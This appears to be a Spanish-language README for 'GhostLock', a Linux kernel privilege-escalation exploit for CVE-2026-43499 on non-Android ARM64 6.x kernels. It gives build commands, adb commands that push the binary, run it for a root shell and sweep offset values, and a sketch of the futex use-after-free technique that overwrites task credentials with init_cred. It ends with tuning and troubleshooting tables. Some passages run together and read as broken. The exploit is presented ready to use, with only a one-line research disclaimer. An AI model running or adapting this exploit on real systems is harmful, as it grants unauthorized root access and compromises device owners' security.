
GhostLock (CVE-2026-43499) adaptación para Linux 6.x ARM64 no Android
Exploit de elevación de privilegios GhostLock (CVE-2026-43499) para kernels Linux 6.x ARM64 no Android.
| Elemento | Valor |
|---|---|
| Arquitectura | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| Versión del kernel | 6.x |
| SELinux | No |
| ashmem | No |
| configfs | No |
make
make android-arm64 NDK=/path/to/android-ndk
La compilación se activa automáticamente tras el push; basta con descargar el artifact.
# Enviar al dispositivo de destino
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# Obtener shell root
adb shell /data/local/tmp/e --shell
# Ajustar el desplazamiento pselect (si el valor predeterminado no funciona)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# Especificar la dirección de carga física
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
FUTEX_CMP_REQUEUE_PI desencadena la UAF de remove_waiter()rt_mutex_waiter liberado termina en el búfer stack_fdstask_struct->cred con init_credEsta versión es una versión reducida de ghostlock-oneplus:
Esta herramienta es solo para investigación de seguridad. El usuario asume toda la responsabilidad.
| Variable | Valor predeterminado | Descripción |
|---|
PSELECT_SHIFT | -2 | Ajuste de desplazamiento del waiter pselect en la pila |
KPHYS | 0x80000000 | Dirección de carga física del kernel |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | Dirección base virtual del kernel |
| Síntoma | Causa posible | Solución |
|---|
| Reinicio del dispositivo | PSELECT_SHIFT incorrecto | Probar uno por uno de -4 a +4 |
| Sin efecto | KPHYS incorrecto | Confirmar el valor correcto en /proc/iomem |
| perf_event_open falló | Restricción de seccomp | Intentar ejecutar mediante ADB shell |
| Sin root | Desplazamientos no coinciden | Confirmar la versión del kernel y comprobar TASK_CRED_OFF |